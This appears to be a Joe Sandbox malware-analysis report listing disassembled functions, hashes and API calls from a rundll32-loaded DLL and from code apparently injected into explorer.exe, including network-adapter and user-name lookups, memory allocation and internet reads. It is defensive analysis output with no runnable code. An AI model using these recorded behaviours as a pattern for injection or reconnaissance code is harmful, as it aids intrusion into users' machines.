Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 24677e321ac5ee4d1a04d18d3265de91d17da8cb2206eb616759a8d8e1f823ff
Instruction ID: 61791d6681c3f4ad3dfa316d05c0a73c09026118eba7547e925a0575426d869f
Opcode Fuzzy Hash: 24677e321ac5ee4d1a04d18d3265de91d17da8cb2206eb616759a8d8e1f823ff
Instruction Fuzzy Hash: E231A236205A0882EAD39B65F8843DAB761E78C7E0F15C125FE98477E6DE7CC6498700

Function 0000000180041C10 Relevance: 9.1, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180041C22
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180041C45
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180041C71
std::_Facet_Register.LIBCPMT ref: 0000000180041CB7
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180041CE1
Concurrency::cancel_current_task.LIBCPMT ref: 0000000180041CF1

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: dd0db9ab5b724912ec2026415335d458f002f1e7d8cb1aaf0fdef404c58ad89a
Instruction ID: 3e18f53febbc17cc81b0eea23b64b476764291fb2201fd083bcd6cee7e18a8ac
Opcode Fuzzy Hash: dd0db9ab5b724912ec2026415335d458f002f1e7d8cb1aaf0fdef404c58ad89a
Instruction Fuzzy Hash: 99217F36201E0845EA929B65E8C43E96362F78CBE5F45C225BE1C477F6DF68C649C704

Function 00000001800EFC6C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFC7B
FlsSetValue.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFCB1
FlsSetValue.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFCDE
FlsSetValue.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFCEF
FlsSetValue.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFD00
SetLastError.KERNEL32(?,?,?,00000001800DBEA5,?,?,?,?,00000001800EEDB7,?,?,00000000,00000001800EFD8A,?,?,?), ref: 00000001800EFD1B

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 29bc101356f84d96952e9b6f46aeae41848f5e669d7c67a18c62fb47cf68ff97
Instruction ID: 534ee9dd9013db177466b5afa872c7489071b3bf08e507150bf2a31af924fab8
Opcode Fuzzy Hash: 29bc101356f84d96952e9b6f46aeae41848f5e669d7c67a18c62fb47cf68ff97
Instruction Fuzzy Hash: 06116D3430468C42FAEB67316A953FD52425F4C7F0F65C728B93657BD6DE28DA499300

Function 00000001800297E0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018002984F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000180029897
_Getctype.LIBCPMT ref: 00000001800298D5
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018002996C

Strings

bad locale name, xrefs: 000000018002998E

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 492b9f12d2017c85e3b9038361cbb09bb50bf92a85eee2bc8d229eea44332673
Instruction ID: 257ebd258958192414c0201136383fc5e51e53a75ac9e0a2a349a042fac65805
Opcode Fuzzy Hash: 492b9f12d2017c85e3b9038361cbb09bb50bf92a85eee2bc8d229eea44332673
Instruction Fuzzy Hash: 86919F33705B888AFB92CF64D4903ED77A1EB887C4F048129EE891BA99DF34C659D350

Function 000000018001C340 Relevance: 7.7, APIs: 5, Instructions: 216COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018001C4B5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018001C4BB

Part of subcall function 000000018001C340: __std_exception_copy.LIBVCRUNTIME ref: 000000018001C55A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018001C5F1
__std_exception_destroy.LIBVCRUNTIME ref: 000000018001C622

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID:
API String ID: 2138705365-0
Opcode ID: e6622a1003ff05e1210d2c7c0291edc59dcda77f184723c5f9fea43b66e241c3
Instruction ID: 212c56f00f68a2ef71f83bc1973b783350eb29f8722c30a54f44c08f54aa4c97
Opcode Fuzzy Hash: e6622a1003ff05e1210d2c7c0291edc59dcda77f184723c5f9fea43b66e241c3
Instruction Fuzzy Hash: 8B81CF72614F8885EB528F25E45039D7360F789BE4F409216FB9C03BAAEF78C698C744

Function 00000001800EFD34 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EFD53
FlsSetValue.KERNEL32(?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EFD72
FlsSetValue.KERNEL32(?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EFD9A
FlsSetValue.KERNEL32(?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EFDAB
FlsSetValue.KERNEL32(?,?,?,00000001800DB982,?,?,?,00000001800DD477,?,?,00000000,00000001800EF007), ref: 00000001800EFDBC

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5fa853c1108a3c10bac684210e7d34fd4d35b52258afac04cb1d23d354d3a8e4
Instruction ID: ff9aa437c0595ea1eb9d58ea7ad14249b49a3c0f1692886f92c925acf78205b5
Opcode Fuzzy Hash: 5fa853c1108a3c10bac684210e7d34fd4d35b52258afac04cb1d23d354d3a8e4
Instruction Fuzzy Hash: 40118B3030868D42FAEAA3216D513F962474F8C3F0F55C328B9396ABD6DE28CF499300

Function 00000001800420E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018004214F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000180042197
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018004224A

Strings

bad locale name, xrefs: 000000018004226C

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 5b311788567aa043f92aba488ebe8b2e5c9052ebe229d9d5e94981fd2abaa2a8
Instruction ID: 9e5a5e08860c88efdfc9631ff2a57989cd1dbfec02a922697c63f09b54788598
Opcode Fuzzy Hash: 5b311788567aa043f92aba488ebe8b2e5c9052ebe229d9d5e94981fd2abaa2a8
Instruction Fuzzy Hash: 41516E33312A48DAEB96DF70D4903EC33A4EB58788F448125FF4967A95DE34C61AC358

Function 0000000180014060 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800140B7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800140F8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180014158

Strings

string too long, xrefs: 0000000180014064

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: string too long
API String ID: 3668304517-2556327735
Opcode ID: a3acfd3d82963a706bc48d948a37a32f85189e9a0e2e76b76b124625f236f818
Instruction ID: 5fc0c0a601f6c4d82b55d0d521c46b81e316b69cb665f141bfa2e52588e3f1ef
Opcode Fuzzy Hash: a3acfd3d82963a706bc48d948a37a32f85189e9a0e2e76b76b124625f236f818
Instruction Fuzzy Hash: 6321D4B271168CC1EE6A56A694493DC2242931EBE1F60C711FB3D0FBD6DE3986C94301

Function 00000001800996E0 Relevance: 6.3, APIs: 4, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef292095189d688244afeea7f6b845bb184af88f8cb6fafd7eee9d63f68d16f4
Instruction ID: 975f7225a3a63e299421f78f145c918a74a67d24bf9757e7338846c982cfeb7d
Opcode Fuzzy Hash: ef292095189d688244afeea7f6b845bb184af88f8cb6fafd7eee9d63f68d16f4
Instruction Fuzzy Hash: D4B1D232616B8886EB96CF69E4403ED77A4F748FD8F149119EE4903BA8DF38C599C340

Function 0000000180016E10 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000000180016E3E
GetLastError.KERNEL32 ref: 0000000180016E83
SetLastError.KERNEL32 ref: 0000000180016E95
SetLastError.KERNEL32(?,?,?,?,00000000,0000000180099753,?,?,?,?,?,?,?,?,?), ref: 0000000180016EB3

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorLast$CurrentThread
String ID:
API String ID: 3792313647-0
Opcode ID: 5bfa75c5eac8daa5e5b124f9845cd5dbd0aa6498d9a00ed29e9f5e9b47d3ee95
Instruction ID: 75230aab8a6d904f90b672090fcd263d29a486a149c04a4e1d63e4c13d8814a9
Opcode Fuzzy Hash: 5bfa75c5eac8daa5e5b124f9845cd5dbd0aa6498d9a00ed29e9f5e9b47d3ee95
Instruction Fuzzy Hash: 93118235B04F4482EB968B25F85439DA2A1FB8CBE4F448625FF6943BE4DF38C6598700

Function 0000000180003BB0 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32 ref: 0000000180003C07
VerSetConditionMask.KERNEL32 ref: 0000000180003C18
VerSetConditionMask.KERNEL32 ref: 0000000180003C29
VerifyVersionInfoW.KERNEL32 ref: 0000000180003C54

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 291ec1e7ae4a31a4ec110783320109d88dec717fbf20de4c32bb65debcfab247
Instruction ID: 829d03ffbff77bbca154661313b9d0eb454c077c2207eabb3bfd33caf306102b
Opcode Fuzzy Hash: 291ec1e7ae4a31a4ec110783320109d88dec717fbf20de4c32bb65debcfab247
Instruction Fuzzy Hash: C5116131605B4486E776CF61F4993CA63A0F78CB08F40A028DA8D87B55EF7CC2098B00

Function 000000018000E1E0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 329COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000E23C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000E28C

Strings

vector too long, xrefs: 000000018000E1E4

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 3668304517-2873823879
Opcode ID: 4bb3616d7ea08d404592599af73fc3ed7cee367de65b429240fbc6d2583e8d6d
Instruction ID: 21201f496ad6a7353e8fa5487a27329982cc9aebad2248fd340af911cef24260
Opcode Fuzzy Hash: 4bb3616d7ea08d404592599af73fc3ed7cee367de65b429240fbc6d2583e8d6d
Instruction Fuzzy Hash: 73B104326056CC45EEE7CA11D5143E97AA0A34E7E4F88DA11FAA9277D5DF7CC7898300

Function 00000001800D7BA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000000018001D2F1,?,?,?,?,0000000180001063), ref: 00000001800D7BF8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000000018001D2F1,?,?,?,?,0000000180001063), ref: 00000001800D7C39

Strings

csm, xrefs: 00000001800D7C26

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 8575af2157c29f55c7baebbd7653556403f1897381ddad26d7c95b73a62a9a2e
Instruction ID: fcce759da6952b3a2c3e9be7184885aaee10aadabcae59dccbb82db99caeb89f
Opcode Fuzzy Hash: 8575af2157c29f55c7baebbd7653556403f1897381ddad26d7c95b73a62a9a2e
Instruction Fuzzy Hash: 99115B36614B8482EBA28B15E44038D77E4F78CB94F588225EE8D07B65EF3CC655CB00

Function 000000018001F790 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(?,?,00000000,000000018001F860,?,?,?,?,?,00000001800010A6), ref: 000000018001F7AA
GetLastError.KERNEL32(?,?,00000000,000000018001F860,?,?,?,?,?,00000001800010A6), ref: 000000018001F7E0

Strings

IsolationAware function called after IsolationAwareCleanup, xrefs: 000000018001F7A3

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DebugErrorLastOutputString
String ID: IsolationAware function called after IsolationAwareCleanup
API String ID: 4132100945-2690750368
Opcode ID: aaf881318e1cbf80df7b3db725b15d009ca645997f292fdca4c234dcf6e98535
Instruction ID: 713b0fca42d5e28324eac017ae06fe03b4fcbb217fb76e539ab89f48cb609f07
Opcode Fuzzy Hash: aaf881318e1cbf80df7b3db725b15d009ca645997f292fdca4c234dcf6e98535
Instruction Fuzzy Hash: 3D01DE70600D0E86FBF7976198883F913D1AB5D7A4F59D011E915C63A0EF38CACD8710

Analysis Process: explorer.exePID: 4004, Parent PID: 3784COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	868
Total number of Limit Nodes:	10

Executed Functions

Function 02E08424 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

GetAdaptersInfo.IPHLPAPI ref: 02E08470
GetAdaptersInfo.IPHLPAPI ref: 02E084A7
wsprintfA.USER32 ref: 02E084F0
wsprintfA.USER32 ref: 02E085DB
wsprintfA.USER32 ref: 02E0863F

Strings

o, xrefs: 02E08482

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: wsprintf$AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2074107575-252678980
Opcode ID: 297d1a7e7ca8095e50a572676fb4cd9321a35f6664537050dc1b6cbbb83bb27f
Instruction ID: 16033ffbfb052ad992aff4511662411a63a2f30d24211c2c28bdb0df3185178f
Opcode Fuzzy Hash: 297d1a7e7ca8095e50a572676fb4cd9321a35f6664537050dc1b6cbbb83bb27f
Instruction Fuzzy Hash: 84A1EA72249B8486DB70CB14F48439AB7A1F788788F445529EACE83B69EF7CC595CF40

Function 02E07274 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAdaptersInfo.IPHLPAPI ref: 02E0729C

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

GetAdaptersInfo.IPHLPAPI ref: 02E072C7

Strings

o, xrefs: 02E072A6

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2718687846-252678980
Opcode ID: 7f42663b622c32a3db8ec0ccf10743740cf63e3247e40a922d1c01b602dc0a8d
Instruction ID: 526474109462dac7b5c04ff70e261f234159be9f6506191482446c468ca63a2b
Opcode Fuzzy Hash: 7f42663b622c32a3db8ec0ccf10743740cf63e3247e40a922d1c01b602dc0a8d
Instruction Fuzzy Hash: BC01B0B2648B4486DB30DB15E49835EB7A0F3CC798F445225EA8D47BA8DB7CC686CF44

Function 02E08D3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 02E08D64
wsprintfA.USER32 ref: 02E08D81

Strings

engineer, xrefs: 02E08D7A, 02E08D87

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: NameUserwsprintf
String ID: engineer
API String ID: 54179028-2484562649
Opcode ID: 0d2000033b4f6b77b7c63e69016060f77196b9a618d98f030aea10d94a3709f8
Instruction ID: 9ca248234d0c9e9ca0633c2d534aa159e9c00d4ac0ef5d99f3e81093ea6c48c0
Opcode Fuzzy Hash: 0d2000033b4f6b77b7c63e69016060f77196b9a618d98f030aea10d94a3709f8
Instruction Fuzzy Hash: D7F07D712A4AC7D2EB70DF14E8943AA6325FB91748FC06136A14D469A8EF7CC75BCB40

Function 02E0A8E0 Relevance: 4.6, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: ba65162137a8887c46524e037aee2d8e48247b8fd7d5144eb10fde51ea88d61c
Instruction ID: e5f677be3528c799ccfd2979536982ab22f4f28a919cacbab150a3395b2ef5f6
Opcode Fuzzy Hash: ba65162137a8887c46524e037aee2d8e48247b8fd7d5144eb10fde51ea88d61c
Instruction Fuzzy Hash: 4431FE22698B8495DB60DB14F4C435AA361F784368F91A336E79E42BE8DF3CC586CB40

Function 02E0B388 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

Strings

@, xrefs: 02E0B39A

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @
API String ID: 2167126740-2766056989
Opcode ID: 2e93f9f6b96c1bd6ea69c113b3f2c8e4b302791aa10c0df241b540a453c9b905
Instruction ID: 751f81a53acefac647a0e27906dbfdfcd0d3870bb66d4cabc0dae1e5e79d1d3b
Opcode Fuzzy Hash: 2e93f9f6b96c1bd6ea69c113b3f2c8e4b302791aa10c0df241b540a453c9b905
Instruction Fuzzy Hash: C3E0C9B2238A84C6D7509F65E49470BB760F7847B8F906305FAA906BD8CBBCC158CF00

Function 02E05078 Relevance: 1.6, APIs: 1, Instructions: 57
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 02E050D4

Memory Dump Source

